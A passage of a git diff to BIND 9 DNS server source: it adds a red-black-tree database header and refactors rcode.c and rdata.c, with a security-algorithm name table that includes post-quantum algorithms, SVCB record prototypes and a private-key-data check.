+ * DNS Red-Black Tree DB Implementation
+ */
+
+ISC_LANG_BEGINDECLS
+
+typedef struct {
+	isc_rwlock_t lock;
+	/* Protected in the refcount routines. */
+	isc_refcount_t references;
+	/* Locked by lock. */
+	bool exiting;
+} rbtdb_nodelock_t;
+
+typedef struct rbtdb_changed {
+	dns_rbtnode_t *node;
+	bool dirty;
+	ISC_LINK(struct rbtdb_changed) link;
+} rbtdb_changed_t;
+
+typedef ISC_LIST(rbtdb_changed_t) rbtdb_changedlist_t;
+
+struct dns_glue {
+	struct dns_glue *next;
+	dns_fixedname_t fixedname;
+	dns_rdataset_t rdataset_a;
+	dns_rdataset_t sigrdataset_a;
+	dns_rdataset_t rdataset_aaaa;
+	dns_rdataset_t sigrdataset_aaaa;
+
+	isc_mem_t *mctx;
+	struct rcu_head rcu_head;
+};
+
+typedef struct {
+	dns_glue_t *glue_list;
+	dns_rbtdb_t *rbtdb;
+	dns_rbtdb_version_t *rbtversion;
+	dns_name_t *nodename;
+} dns_glue_additionaldata_ctx_t;
+
+struct dns_rbtdb_version {
+	/* Not locked */
+	uint32_t serial;
+	dns_rbtdb_t *rbtdb;
+	/*
+	 * Protected in the refcount routines.
+	 * XXXJT: should we change the lock policy based on the refcount
+	 * performance?
+	 */
+	isc_refcount_t references;
+	/* Locked by database lock. */
+	bool writer;
+	bool commit_ok;
+	rbtdb_changedlist_t changed_list;
+	dns_slabheaderlist_t resigned_list;
+	ISC_LINK(dns_rbtdb_version_t) link;
+	bool secure;
+	bool havensec3;
+	/* NSEC3 parameters */
+	dns_hash_t hash;
+	uint8_t flags;
+	uint16_t iterations;
+	uint8_t salt_length;
+	unsigned char salt[DNS_NSEC3_SALTSIZE];
+
+	/*
+	 * records and xfrsize are covered by rwlock.
+	 */
+	isc_rwlock_t rwlock;
+	uint64_t records;
+	uint64_t xfrsize;
+
+	struct cds_wfs_stack glue_stack;
+};
+
+typedef ISC_LIST(dns_rbtdb_version_t) rbtdb_versionlist_t;
+
+struct dns_rbtdb {
+	/* Unlocked. */
+	dns_db_t common;
+	/* Locks the data in this struct */
+	isc_rwlock_t lock;
+	/* Locks the tree structure (prevents nodes appearing/disappearing) */
+	isc_rwlock_t tree_lock;
+	/* Locks for individual tree nodes */
+	unsigned int node_lock_count;
+	rbtdb_nodelock_t *node_locks;
+	dns_rbtnode_t *origin_node;
+	dns_rbtnode_t *nsec3_origin_node;
+	dns_stats_t *rrsetstats;     /* cache DB only */
+	isc_stats_t *cachestats;     /* cache DB only */
+	isc_stats_t *gluecachestats; /* zone DB only */
+	/* Locked by lock. */
+	unsigned int active;
+	unsigned int attributes;
+	uint32_t current_serial;
+	uint32_t least_serial;
+	uint32_t next_serial;
+	dns_rbtdb_version_t *current_version;
+	dns_rbtdb_version_t *future_version;
+	rbtdb_versionlist_t open_versions;
+	isc_loop_t *loop;
+	dns_dbnode_t *soanode;
+	dns_dbnode_t *nsnode;
+
+	/*
+	 * The time after a failed lookup, where stale answers from cache
+	 * may be used directly in a DNS response without attempting a
+	 * new iterative lookup.
+	 */
+	uint32_t serve_stale_refresh;
+
+	/*
+	 * This is a linked list used to implement the LRU cache.  There will
+	 * be node_lock_count linked lists here.  Nodes in bucket 1 will be
+	 * placed on the linked list lru[1].
+	 */
+	dns_slabheaderlist_t *lru;
+
+	/*%
+	 * Temporary storage for stale cache nodes and dynamically deleted
+	 * nodes that await being cleaned up.
+	 */
+	dns_rbtnodelist_t *deadnodes;
+
+	/*
+	 * Heaps.  These are used for TTL based expiry in a cache,
+	 * or for zone resigning in a zone DB.  hmctx is the memory
+	 * context to use for the heap (which differs from the main
+	 * database memory context in the case of a cache).
+	 */
+	isc_mem_t *hmctx;
+	isc_heap_t **heaps;
+	isc_heapcompare_t sooner;
+
+	/* Locked by tree_lock. */
+	dns_rbt_t *tree;
+	dns_rbt_t *nsec;
+	dns_rbt_t *nsec3;
+
+	/* Unlocked */
+	unsigned int quantum;
+};
+
+/*%
+ * Search Context
+ */
+typedef struct {
+	dns_rbtdb_t *rbtdb;
+	dns_rbtdb_version_t *rbtversion;
+	uint32_t serial;
+	unsigned int options;
+	dns_rbtnodechain_t chain;
+	bool copy_name;
+	bool need_cleanup;
+	bool wild;
+	dns_rbtnode_t *zonecut;
+	dns_slabheader_t *zonecut_header;
+	dns_slabheader_t *zonecut_sigheader;
+	dns_fixedname_t zonecut_name;
+	isc_stdtime_t now;
+} rbtdb_search_t;
+
+/*%
+ * Load Context
+ */
+typedef struct {
+	dns_rbtdb_t *rbtdb;
+	isc_stdtime_t now;
+} rbtdb_load_t;
+
+/*%
+ * Prune context
+ */
+typedef struct {
+	dns_db_t *db;
+	dns_rbtnode_t *node;
+} prune_t;
+
+extern dns_dbmethods_t dns__rbtdb_zonemethods;
+extern dns_dbmethods_t dns__rbtdb_cachemethods;
+
+/*
+ * Common DB implementation methods shared by both cache and zone RBT
+ * databases:
+ */
+
+isc_result_t
+dns__rbtdb_create(isc_mem_t *mctx, const dns_name_t *base, dns_dbtype_t type,
+		  dns_rdataclass_t rdclass, unsigned int argc, char *argv[],
+		  void *driverarg, dns_db_t **dbp);
+/*%<
+ * Create a new database of type "rbt". Called via dns_db_create();
+ * see documentation for that function for more details.
+ *
+ * If argv[0] is set, it points to a valid memory context to be used for
+ * allocation of heap memory.  Generally this is used for cache databases
+ * only.
+ *
+ * Requires:
+ *
+ * \li argc == 0 or argv[0] is a valid memory context.
+ */
+
+void
+dns__rbtdb_destroy(dns_db_t *arg);
+/*%<
+ * Implement dns_db_destroy() for RBT databases, see documentation
+ * for that function for more details.
+ */
+
+void
+dns__rbtdb_currentversion(dns_db_t *db, dns_dbversion_t **versionp);
+isc_result_t
+dns__rbtdb_newversion(dns_db_t *db, dns_dbversion_t **versionp);
+void
+dns__rbtdb_attachversion(dns_db_t *db, dns_dbversion_t *source,
+			 dns_dbversion_t **targetp);
+void
+dns__rbtdb_closeversion(dns_db_t *db, dns_dbversion_t **versionp,
+			bool commit DNS__DB_FLARG);
+/*%<
+ * Implement the dns_db_currentversion(), _newversion(),
+ * _attachversion() and _closeversion() methods for RBT databases;
+ * see documentation of those functions for more details.
+ */
+
+isc_result_t
+dns__rbtdb_findnode(dns_db_t *db, const dns_name_t *name, bool create,
+		    dns_dbnode_t **nodep DNS__DB_FLARG);
+isc_result_t
+dns__rbtdb_findnodeintree(dns_rbtdb_t *rbtdb, dns_rbt_t *tree,
+			  const dns_name_t *name, bool create,
+			  dns_dbnode_t **nodep DNS__DB_FLARG);
+/*%<
+ * Implement the dns_db_findnode() and _findnodeintree() methods for
+ * RBT databases; see documentation of those functions for more details.
+ */
+
+void
+dns__rbtdb_attachnode(dns_db_t *db, dns_dbnode_t *source,
+		      dns_dbnode_t **targetp DNS__DB_FLARG);
+void
+dns__rbtdb_detachnode(dns_db_t *db, dns_dbnode_t **targetp DNS__DB_FLARG);
+/*%<
+ * Implement the dns_db_attachnode() and _detachnode() methods for
+ * RBT databases; see documentation of those functions for more details.
+ */
+
+isc_result_t
+dns__rbtdb_createiterator(dns_db_t *db, unsigned int options,
+			  dns_dbiterator_t **iteratorp);
+/*%<
+ * Implement dns_db_createiterator() for RBT databases; see documentation of
+ * that function for more details.
+ */
+
+isc_result_t
+dns__rbtdb_allrdatasets(dns_db_t *db, dns_dbnode_t *node,
+			dns_dbversion_t *version, unsigned int options,
+			isc_stdtime_t now,
+			dns_rdatasetiter_t **iteratorp DNS__DB_FLARG);
+/*%<
+ * Implement dns_db_allrdatasets() for RBT databases; see documentation of
+ * that function for more details.
+ */
+isc_result_t
+dns__rbtdb_addrdataset(dns_db_t *db, dns_dbnode_t *node,
+		       dns_dbversion_t *version, isc_stdtime_t now,
+		       dns_rdataset_t *rdataset, unsigned int options,
+		       dns_rdataset_t *addedrdataset DNS__DB_FLARG);
+isc_result_t
+dns__rbtdb_subtractrdataset(dns_db_t *db, dns_dbnode_t *node,
+			    dns_dbversion_t *version, dns_rdataset_t *rdataset,
+			    unsigned int options,
+			    dns_rdataset_t *newrdataset DNS__DB_FLARG);
+isc_result_t
+dns__rbtdb_deleterdataset(dns_db_t *db, dns_dbnode_t *node,
+			  dns_dbversion_t *version, dns_rdatatype_t type,
+			  dns_rdatatype_t covers DNS__DB_FLARG);
+/*%<
+ * Implement the dns_db_addrdataset(), _subtractrdataset() and
+ * _deleterdataset() methods for RBT databases; see documentation of
+ * those functions for more details.
+ */
+
+unsigned int
+dns__rbtdb_nodecount(dns_db_t *db, dns_dbtree_t tree);
+/*%<
+ * Implement dns_db_nodecount() for RBT databases; see documentation of
+ * that function for more details.
+ */
+
+void
+dns__rbtdb_setloop(dns_db_t *db, isc_loop_t *loop);
+/*%<
+ * Implement dns_db_setloop() for RBT databases; see documentation of
+ * that function for more details.
+ */
+
+isc_result_t
+dns__rbtdb_getoriginnode(dns_db_t *db, dns_dbnode_t **nodep DNS__DB_FLARG);
+/*%<
+ * Implement dns_db_getoriginnode() for RBT databases; see documentation of
+ * that function for more details.
+ */
+
+void
+dns__rbtdb_deletedata(dns_db_t *db ISC_ATTR_UNUSED,
+		      dns_dbnode_t *node ISC_ATTR_UNUSED, void *data);
+/*%<
+ * Implement dns_db_deletedata() for RBT databases; see documentation of
+ * that function for more details.
+ */
+
+void
+dns__rbtdb_locknode(dns_db_t *db, dns_dbnode_t *node, isc_rwlocktype_t type);
+void
+dns__rbtdb_unlocknode(dns_db_t *db, dns_dbnode_t *node, isc_rwlocktype_t type);
+/*%<
+ * Implement the dns_db_locknode() and _unlocknode() methods for
+ * RBT databases; see documentation of those functions for more details.
+ */
+
+/*%
+ * Functions used for the RBT implementation which are defined and
+ * used in rbtdb.c but may also be called from rbt-zonedb.c or
+ * rbt-cachedb.c:
+ */
+void
+dns__rbtdb_bindrdataset(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node,
+			dns_slabheader_t *header, isc_stdtime_t now,
+			isc_rwlocktype_t locktype,
+			dns_rdataset_t *rdataset DNS__DB_FLARG);
+
+isc_result_t
+dns__rbtdb_nodefullname(dns_db_t *db, dns_dbnode_t *node, dns_name_t *name);
+
+void
+dns__rbtdb_freeglue(dns_glue_t *glue_list);
+
+void
+dns__rbtdb_newref(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node,
+		  isc_rwlocktype_t locktype DNS__DB_FLARG);
+/*%<
+ * Increment the reference counter to a node in an RBT database.
+ * If the caller holds a node lock then its lock type is specified
+ * as 'locktype'. If the node is write-locked, then the node can
+ * be removed from the dead nodes list. If not, the list can be
+ * cleaned up later.
+ */
+
+bool
+dns__rbtdb_decref(dns_rbtdb_t *rbtdb, dns_rbtnode_t *node,
+		  uint32_t least_serial, isc_rwlocktype_t *nlocktypep,
+		  isc_rwlocktype_t *tlocktypep, bool tryupgrade,
+		  bool pruning DNS__DB_FLARG);
+/*%<
+ * Decrement the reference counter to a node in an RBT database.
+ * 'nlocktypep' and 'tlocktypep' are pointers to the current status
+ * of the node lock and tree lock.
+ *
+ * If references go to 0, the node will be cleaned up, which may
+ * necessitate upgrading the locks.
+ */
+
+isc_result_t
+dns__rbtdb_add(dns_rbtdb_t *rbtdb, dns_rbtnode_t *rbtnode,
+	       const dns_name_t *nodename, dns_rbtdb_version_t *rbtversion,
+	       dns_slabheader_t *newheader, unsigned int options, bool loading,
+	       dns_rdataset_t *addedrdataset, isc_stdtime_t now DNS__DB_FLARG);
+/*%<
+ * Add a slab header 'newheader' to a node in an RBT database.
+ * The caller must have the node write-locked.
+ */
+
+void
+dns__rbtdb_setsecure(dns_db_t *db, dns_rbtdb_version_t *version,
+		     dns_dbnode_t *origin);
+/*%<
+ * Update the secure status for an RBT database version 'version'.
+ * The version will be marked secure if it is fully signed and
+ * and contains a complete NSEC/NSEC3 chain.
+ */
+
+void
+dns__rbtdb_mark(dns_slabheader_t *header, uint_least16_t flag);
+/*%<
+ * Set attribute 'flag' in a slab header 'header' - for example,
+ * DNS_SLABHEADERATTR_STALE or DNS_SLABHEADERATTR_ANCIENT - and,
+ * in a cache database, update the rrset stats accordingly.
+ */
+
+void
+dns__rbtdb_setttl(dns_slabheader_t *header, dns_ttl_t newttl);
+/*%<
+ * Set the TTL in a slab header 'header'. In a cache database,
+ * also update the TTL heap accordingly.
+ */
+
+/*
+ * Functions specific to zone databases that are also called from rbtdb.c.
+ */
+void
+dns__zonedb_resigninsert(dns_rbtdb_t *rbtdb, int idx,
+			 dns_slabheader_t *newheader);
+void
+dns__zonedb_resigndelete(dns_rbtdb_t *rbtdb, dns_rbtdb_version_t *version,
+			 dns_slabheader_t *header DNS__DB_FLARG);
+/*%<
+ * Insert/delete a node from the zone database's resigning heap.
+ */
+
+isc_result_t
+dns__zonedb_wildcardmagic(dns_rbtdb_t *rbtdb, const dns_name_t *name,
+			  bool lock);
+/*%<
+ * Add the necessary magic for the wildcard name 'name'
+ * to be found in 'rbtdb'.
+ *
+ * In order for wildcard matching to work correctly in
+ * zone_find(), we must ensure that a node for the wildcarding
+ * level exists in the database, and has its 'find_callback'
+ * and 'wild' bits set.
+ *
+ * E.g. if the wildcard name is "*.sub.example." then we
+ * must ensure that "sub.example." exists and is marked as
+ * a wildcard level.
+ *
+ * The tree must be write-locked.
+ */
+isc_result_t
+dns__zonedb_addwildcards(dns_rbtdb_t *rbtdb, const dns_name_t *name, bool lock);
+/*%<
+ * If 'name' is or contains a wildcard name, create a node for it in the
+ * database. The tree must be write-locked.
+ */
+
+/*
+ * Cache-specific functions that are called from rbtdb.c
+ */
+void
+dns__cachedb_expireheader(dns_slabheader_t *header,
+			  isc_rwlocktype_t *tlocktypep,
+			  dns_expire_t reason DNS__DB_FLARG);
+void
+dns__cachedb_overmem(dns_rbtdb_t *rbtdb, dns_slabheader_t *newheader,
+		     unsigned int locknum_start,
+		     isc_rwlocktype_t *tlocktypep DNS__DB_FLARG);
+
+ISC_LANG_ENDDECLS
diff --git a/lib/dns/rcode.c b/lib/dns/rcode.c
index 07329af938..833a8767a6 100644
--- a/lib/dns/rcode.c
+++ b/lib/dns/rcode.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,9 +16,9 @@
 #include <stdbool.h>
 #include <stdlib.h>
 
+#include <isc/ascii.h>
 #include <isc/buffer.h>
 #include <isc/parseint.h>
-#include <isc/print.h>
 #include <isc/region.h>
 #include <isc/result.h>
 #include <isc/stdio.h>
@@ -24,8 +26,6 @@
 #include <isc/types.h>
 #include <isc/util.h>
 
-#include <pk11/site.h>
-
 #include <dns/cert.h>
 #include <dns/ds.h>
 #include <dns/dsdigest.h>
@@ -33,7 +33,6 @@
 #include <dns/keyvalues.h>
 #include <dns/rcode.h>
 #include <dns/rdataclass.h>
-#include <dns/result.h>
 #include <dns/secalg.h>
 #include <dns/secproto.h>
 
@@ -99,27 +98,27 @@
 /* RFC2535 section 7, RFC3110 */
 
 #define SECALGNAMES                                                     \
-	{ DNS_KEYALG_RSAMD5, "RSAMD5", 0 }, { DNS_KEYALG_DH, "DH", 0 }, \
-		{ DNS_KEYALG_DSA, "DSA", 0 },                           \
-		{ DNS_KEYALG_RSASHA1, "RSASHA1", 0 },                   \
-		{ DNS_KEYALG_NSEC3DSA, "NSEC3DSA", 0 },                 \
-		{ DNS_KEYALG_NSEC3RSASHA1, "NSEC3RSASHA1", 0 },         \
-		{ DNS_KEYALG_RSASHA256, "RSASHA256", 0 },               \
-		{ DNS_KEYALG_RSASHA512, "RSASHA512", 0 },               \
-		{ DNS_KEYALG_ECCGOST, "ECCGOST", 0 },                   \
-		{ DNS_KEYALG_ECDSA256, "ECDSAP256SHA256", 0 },          \
-		{ DNS_KEYALG_ECDSA256, "ECDSA256", 0 },                 \
-		{ DNS_KEYALG_ECDSA384, "ECDSAP384SHA384", 0 },          \
-		{ DNS_KEYALG_ECDSA384, "ECDSA384", 0 },                 \
-		{ DNS_KEYALG_ED25519, "ED25519", 0 },                   \
-		{ DNS_KEYALG_ED448, "ED448", 0 },                       \
-		{ DNS_KEYALG_FALCON512, "FALCON512", 0 },               \
-		{ DNS_KEYALG_DILITHIUM2, "DILITHIUM2", 0 },             \
-		{ DNS_KEYALG_SPHINCSSHA256128S, "SPHINCS+-SHA256-128S", 0 },               \
-		{ DNS_KEYALG_INDIRECT, "INDIRECT", 0 },                 \
-		{ DNS_KEYALG_PRIVATEDNS, "PRIVATEDNS", 0 },             \
-		{ DNS_KEYALG_PRIVATEOID, "PRIVATEOID", 0 }, {           \
-		0, NULL, 0                                              \
+	{ DNS_KEYALG_RSAMD5, "RSAMD5", 0 },                             \
+	{ DNS_KEYALG_DSA, "DSA", 0 },                           	\
+	{ DNS_KEYALG_RSASHA1, "RSASHA1", 0 },                   	\
+	{ DNS_KEYALG_NSEC3DSA, "NSEC3DSA", 0 },                 	\
+	{ DNS_KEYALG_NSEC3RSASHA1, "NSEC3RSASHA1", 0 },         	\
+	{ DNS_KEYALG_RSASHA256, "RSASHA256", 0 },               	\
+	{ DNS_KEYALG_RSASHA512, "RSASHA512", 0 },               	\
+	{ DNS_KEYALG_ECCGOST, "ECCGOST", 0 },                   	\
+	{ DNS_KEYALG_ECDSA256, "ECDSAP256SHA256", 0 },          	\
+	{ DNS_KEYALG_ECDSA256, "ECDSA256", 0 },                 	\
+	{ DNS_KEYALG_ECDSA384, "ECDSAP384SHA384", 0 },          	\
+	{ DNS_KEYALG_ECDSA384, "ECDSA384", 0 },                 	\
+	{ DNS_KEYALG_ED25519, "ED25519", 0 },                   	\
+	{ DNS_KEYALG_ED448, "ED448", 0 },                       	\
+	{ DNS_KEYALG_FALCON512, "FALCON512", 0 },               	\
+	{ DNS_KEYALG_DILITHIUM2, "DILITHIUM2", 0 },             	\
+	{ DNS_KEYALG_SPHINCSSHA256128S, "SPHINCS+-SHA256-128S", 0 },    \
+	{ DNS_KEYALG_INDIRECT, "INDIRECT", 0 },                 	\
+	{ DNS_KEYALG_PRIVATEDNS, "PRIVATEDNS", 0 },             	\
+	{ DNS_KEYALG_PRIVATEOID, "PRIVATEOID", 0 }, {           	\
+	0, NULL, 0                                              	\
 	}
 
 /* RFC2535 section 7.1 */
@@ -223,7 +222,8 @@ maybe_numeric(unsigned int *valuep, isc_textregion_t *source, unsigned int max,
 	int v;
 
 	if (!isdigit((unsigned char)source->base[0]) ||
-	    source->length > NUMBERSIZE - 1) {
+	    source->length > NUMBERSIZE - 1)
+	{
 		return (ISC_R_BADNUMBER);
 	}
 
@@ -234,7 +234,7 @@ maybe_numeric(unsigned int *valuep, isc_textregion_t *source, unsigned int max,
 	 */
 	v = snprintf(buffer, sizeof(buffer), "%.*s", (int)source->length,
 		     source->base);
-	if (v < 0 || (unsigned)v != source->length) {
+	if (v < 0 || (unsigned int)v != source->length) {
 		return (ISC_R_BADNUMBER);
 	}
 	INSIST(buffer[source->length] == '\0');
@@ -478,7 +478,7 @@ dns_rdataclass_fromtext(dns_rdataclass_t *classp, isc_textregion_t *source) {
 		return (ISC_R_SUCCESS);                               \
 	}
 
-	switch (tolower((unsigned char)source->base[0])) {
+	switch (isc_ascii_tolower(source->base[0])) {
 	case 'a':
 		COMPARE("any", dns_rdataclass_any);
 		break;
diff --git a/lib/dns/rdata.c b/lib/dns/rdata.c
index a2eb404f41..4570029152 100644
--- a/lib/dns/rdata.c
+++ b/lib/dns/rdata.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -15,29 +17,35 @@
 #include <inttypes.h>
 #include <stdbool.h>
 
+#include <openssl/err.h>
+#include <openssl/objects.h>
+
+#include <isc/ascii.h>
 #include <isc/base64.h>
 #include <isc/hex.h>
 #include <isc/lex.h>
 #include <isc/mem.h>
 #include <isc/parseint.h>
-#include <isc/print.h>
+#include <isc/result.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
 #include <dns/callbacks.h>
 #include <dns/cert.h>
 #include <dns/compress.h>
+#include <dns/db.h>
 #include <dns/dsdigest.h>
 #include <dns/enumtype.h>
+#include <dns/fixedname.h>
 #include <dns/keyflags.h>
 #include <dns/keyvalues.h>
 #include <dns/message.h>
 #include <dns/rcode.h>
 #include <dns/rdata.h>
 #include <dns/rdataclass.h>
+#include <dns/rdataset.h>
 #include <dns/rdatastruct.h>
 #include <dns/rdatatype.h>
-#include <dns/result.h>
 #include <dns/secalg.h>
 #include <dns/secproto.h>
 #include <dns/time.h>
@@ -91,10 +99,9 @@
 
 #define ARGS_FROMWIRE                                            \
 	int rdclass, dns_rdatatype_t type, isc_buffer_t *source, \
-		dns_decompress_t *dctx, unsigned int options,    \
-		isc_buffer_t *target
+		dns_decompress_t dctx, isc_buffer_t *target
 
-#define CALL_FROMWIRE rdclass, type, source, dctx, options, target
+#define CALL_FROMWIRE rdclass, type, source, dctx, target
 
 #define ARGS_TOWIRE \
 	dns_rdata_t *rdata, dns_compress_t *cctx, isc_buffer_t *target
@@ -118,10 +125,11 @@
 
 #define CALL_FREESTRUCT source
 
-#define ARGS_ADDLDATA \
-	dns_rdata_t *rdata, dns_additionaldatafunc_t add, void *arg
+#define ARGS_ADDLDATA                                \
+	dns_rdata_t *rdata, const dns_name_t *owner, \
+		dns_additionaldatafunc_t add, void *arg
 
-#define CALL_ADDLDATA rdata, add, arg
+#define CALL_ADDLDATA rdata, owner, add, arg
 
 #define ARGS_DIGEST dns_rdata_t *rdata, dns_digestfunc_t digest, void *arg
 
@@ -159,6 +167,13 @@ txt_fromtext(isc_textregion_t *source, isc_buffer_t *target);
 static isc_result_t
 txt_fromwire(isc_buffer_t *source, isc_buffer_t *target);
 
+static isc_result_t
+commatxt_fromtext(isc_textregion_t *source, bool comma, isc_buffer_t *target);
+
+static isc_result_t
+commatxt_totext(isc_region_t *source, bool quote, bool comma,
+		isc_buffer_t *target);
+
 static isc_result_t
 multitxt_totext(isc_region_t *source, isc_buffer_t *target);
 
@@ -247,17 +262,17 @@ static isc_result_t
 unknown_totext(dns_rdata_t *rdata, dns_rdata_textctx_t *tctx,
 	       isc_buffer_t *target);
 
-static inline isc_result_t generic_fromtext_key(ARGS_FROMTEXT);
+static isc_result_t generic_fromtext_key(ARGS_FROMTEXT);
 
-static inline isc_result_t generic_totext_key(ARGS_TOTEXT);
+static isc_result_t generic_totext_key(ARGS_TOTEXT);
 
-static inline isc_result_t generic_fromwire_key(ARGS_FROMWIRE);
+static isc_result_t generic_fromwire_key(ARGS_FROMWIRE);
 
-static inline isc_result_t generic_fromstruct_key(ARGS_FROMSTRUCT);
+static isc_result_t generic_fromstruct_key(ARGS_FROMSTRUCT);
 
-static inline isc_result_t generic_tostruct_key(ARGS_TOSTRUCT);
+static isc_result_t generic_tostruct_key(ARGS_TOSTRUCT);
 
-static inline void generic_freestruct_key(ARGS_FREESTRUCT);
+static void generic_freestruct_key(ARGS_FREESTRUCT);
 
 static isc_result_t generic_fromtext_txt(ARGS_FROMTEXT);
 
@@ -302,6 +317,22 @@ static isc_result_t generic_tostruct_tlsa(ARGS_TOSTRUCT);
 
 static void generic_freestruct_tlsa(ARGS_FREESTRUCT);
 
+static isc_result_t generic_fromtext_in_svcb(ARGS_FROMTEXT);
+static isc_result_t generic_totext_in_svcb(ARGS_TOTEXT);
+static isc_result_t generic_fromwire_in_svcb(ARGS_FROMWIRE);
+static isc_result_t generic_towire_in_svcb(ARGS_TOWIRE);
+static isc_result_t generic_fromstruct_in_svcb(ARGS_FROMSTRUCT);
+static isc_result_t generic_tostruct_in_svcb(ARGS_TOSTRUCT);
+static void generic_freestruct_in_svcb(ARGS_FREESTRUCT);
+static isc_result_t generic_additionaldata_in_svcb(ARGS_ADDLDATA);
+static bool generic_checknames_in_svcb(ARGS_CHECKNAMES);
+static isc_result_t
+generic_rdata_in_svcb_first(dns_rdata_in_svcb_t *);
+static isc_result_t
+generic_rdata_in_svcb_next(dns_rdata_in_svcb_t *);
+static void
+generic_rdata_in_svcb_current(dns_rdata_in_svcb_t *, isc_region_t *);
+
 /*% INT16 Size */
 #define NS_INT16SZ 2
 /*% IPv6 Address Size */
@@ -323,30 +354,22 @@ static dns_name_t const gc_msdcs = DNS_NAME_INITNONABSOLUTE(gc_msdcs_data,
  * \note
  *	(1) does not touch `dst' unless it's returning 1.
  */
-static inline int
+static int
 locator_pton(const char *src, unsigned char *dst) {
-	static const char xdigits_l[] = "0123456789abcdef",
-			  xdigits_u[] = "0123456789ABCDEF";
 	unsigned char tmp[NS_LOCATORSZ];
 	unsigned char *tp = tmp, *endp;
-	const char *xdigits;
 	int ch, seen_xdigits;
-	unsigned int val;
+	unsigned int val, hexval;
 
 	memset(tp, '\0', NS_LOCATORSZ);
 	endp = tp + NS_LOCATORSZ;
 	seen_xdigits = 0;
 	val = 0;
 	while ((ch = *src++) != '\0') {
-		const char *pch;
-
-		pch = strchr((xdigits = xdigits_l), ch);
-		if (pch == NULL) {
-			pch = strchr((xdigits = xdigits_u), ch);
-		}
-		if (pch != NULL) {
+		hexval = isc_hex_char(ch);
+		if (hexval != 0) {
 			val <<= 4;
-			val |= (pch - xdigits);
+			val |= (ch - hexval);
 			if (++seen_xdigits > 4) {
 				return (0);
 			}
@@ -381,30 +404,32 @@ locator_pton(const char *src, unsigned char *dst) {
 	return (1);
 }
 
-static inline isc_result_t
+static void
 name_duporclone(const dns_name_t *source, isc_mem_t *mctx, dns_name_t *target) {
 	if (mctx != NULL) {
 		dns_name_dup(source, mctx, target);
 	} else {
 		dns_name_clone(source, target);
 	}
-	return (ISC_R_SUCCESS);
 }
 
-static inline void *
+static void *
 mem_maybedup(isc_mem_t *mctx, void *source, size_t length) {
-	void *copy;
+	void *copy = NULL;
+
+	REQUIRE(source != NULL);
 
 	if (mctx == NULL) {
 		return (source);
 	}
+
 	copy = isc_mem_allocate(mctx, length);
 	memmove(copy, source, length);
 
 	return (copy);
 }
 
-static inline isc_result_t
+static isc_result_t
 typemap_fromtext(isc_lex_t *lexer, isc_buffer_t *target, bool allow_empty) {
 	isc_token_t token;
 	unsigned char bm[8 * 1024]; /* 64k bits */
@@ -472,7 +497,7 @@ typemap_fromtext(isc_lex_t *lexer, isc_buffer_t *target, bool allow_empty) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 typemap_totext(isc_region_t *sr, dns_rdata_textctx_t *tctx,
 	       isc_buffer_t *target) {
 	unsigned int i, j, k;
@@ -481,7 +506,8 @@ typemap_totext(isc_region_t *sr, dns_rdata_textctx_t *tctx,
 
 	for (i = 0; i < sr->length; i += len) {
 		if (tctx != NULL &&
-		    (tctx->flags & DNS_STYLEFLAG_MULTILINE) != 0) {
+		    (tctx->flags & DNS_STYLEFLAG_MULTILINE) != 0)
+		{
 			RETERR(str_totext(tctx->linebreak, target));
 			first = true;
 		}
@@ -571,8 +597,44 @@ typemap_test(isc_region_t *sr, bool allow_empty) {
 	return (ISC_R_SUCCESS);
 }
 
-static const char hexdigits[] = "0123456789abcdef";
-static const char decdigits[] = "0123456789";
+static isc_result_t
+check_private(isc_buffer_t *source, dns_secalg_t alg) {
+	isc_region_t sr;
+	if (alg == DNS_KEYALG_PRIVATEDNS) {
+		dns_fixedname_t fixed;
+
+		RETERR(dns_name_fromwire(dns_fixedname_initname(&fixed), source,
+					 DNS_DECOMPRESS_DEFAULT, NULL));
+		/*
+		 * There should be a public key or signature after the key name.
+		 */
+		isc_buffer_activeregion(source, &sr);
+		if (sr.length == 0) {
+			return (ISC_R_UNEXPECTEDEND);
+		}
+	} else if (alg == DNS_KEYALG_PRIVATEOID) {
+		/*
+		 * Check that we can extract the OID from the start of the
+		 * key data.
+		 */
+		const unsigned char *in = NULL;
+		ASN1_OBJECT *obj = NULL;
+
+		isc_buffer_activeregion(source, &sr);
+		in = sr.base;
+		obj = d2i_ASN1_OBJECT(NULL, &in, sr.length);
+		if (obj == NULL) {
+			ERR_clear_error();
+			RETERR(DNS_R_FORMERR);
+		}
+		ASN1_OBJECT_free(obj);
+		/* There should be a public key or signature after the OID. */
+		if (in >= sr.base + sr.length) {
+			return (ISC_R_UNEXPECTEDEND);
+		}
+	}
+	return (ISC_R_SUCCESS);
+}
 
 #include "code.h"
 
@@ -734,8 +796,7 @@ dns_rdata_toregion(const dns_rdata_t *rdata, isc_region_t *r) {
 isc_result_t
 dns_rdata_fromwire(dns_rdata_t *rdata, dns_rdataclass_t rdclass,
 		   dns_rdatatype_t type, isc_buffer_t *source,
-		   dns_decompress_t *dctx, unsigned int options,
-		   isc_buffer_t *target) {
+		   dns_decompress_t dctx, isc_buffer_t *target) {
 	isc_result_t result = ISC_R_NOTIMPLEMENTED;
 	isc_region_t region;
 	isc_buffer_t ss;
@@ -744,7 +805,6 @@ dns_rdata_fromwire(dns_rdata_t *rdata, dns_rdataclass_t rdclass,
 	uint32_t activelength;
 	unsigned int length;
 
-	REQUIRE(dctx != NULL);
 	if (rdata != NULL) {
 		REQUIRE(DNS_RDATA_INITIALIZED(rdata));
 		REQUIRE(DNS_RDATA_VALIDFLAGS(rdata));
@@ -838,8 +898,7 @@ dns_rdata_towire(dns_rdata_t *rdata, dns_compress_t *cctx,
 	}
 	if (result != ISC_R_SUCCESS) {
 		*target = st;
-		INSIST(target->used < 65536);
-		dns_compress_rollback(cctx, (uint16_t)target->used);
